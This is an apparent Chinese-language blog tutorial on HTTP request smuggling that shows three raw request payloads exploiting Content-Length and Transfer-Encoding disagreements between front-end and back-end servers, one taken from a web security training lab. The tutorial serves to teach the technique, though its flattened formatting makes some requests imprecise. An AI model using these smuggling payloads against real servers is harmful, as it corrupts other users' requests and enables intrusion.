• http走私攻击


    http走私攻击

    前端服务器和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞。 因为当服务器同时在处理Content-Length和Transfer-Encoding,Content-Length是无效的,当服务器一多,有些服务器认为Content-Length的长度有效,有些以Transfer-Encoding有效,就很产生偏差,一般来说当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
    方式一: GET / HTTP/1.1 Host: example.com Content-Length: 6 Content-Length: 4

    111112

    此时前端看到的长度为6,那么POST请求没问题,但后端看到是长度为4,那么还有两个12留下来在缓冲区中作为下一个请求的一部分,此时一个正常用户来请求,那么就会变成 12GET / HTTP/1.1 Host: example.com Content-Length: 6 发生错误无法正常访问

    方式二: GET / HTTP/1.1 Host: example.com Content-Length:6 Transfer_Encoding:chunked //需要用0独占一行表示结束并在0后空两行表示数据包结束,否则还是waiting状态。

    0 
    
    G
    

    下面用户拼接,因为此时表面上是空白的,但是却是由换行符回车键的及 ,这也是为什么content-length为6:

    GPOST / HTTP/1.1  
    

    发生错误

    方式三:transfer-encoding与content-length一起。
    POST / HTTP/1.1 Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew Content-Length: 4 Transfer-Encoding: chunked 12 GPOST / HTTP/1.1 0

    此时前端处理transfer-encoding,后端处理content-Length,导致GPOST / HTTP/1.1留在缓冲区中。

    参考链接:https://paper.seebug.org/1048/

  • 相关阅读:
    腾讯测试开发岗一面二面上机编程题
    软件测试工程师职业发展漫谈
    学习 Python,这 22 个包怎能不掌握?
    Loj514「LibreOJ β Round #2」模拟只会猜题意
    后缀数组模板(倍增)
    USACO06DEC 牛奶模式
    BZOJ3680 JSOI2004 平衡点
    loj6278 数列分块入门题2
    loj6277 数列分块入门题1
    Codeforces 383C Propagating tree, 线段树, 黑白染色思想
  • 原文地址:https://www.cnblogs.com/ophxc/p/12889125.html
Copyright © 2020-2023  润新知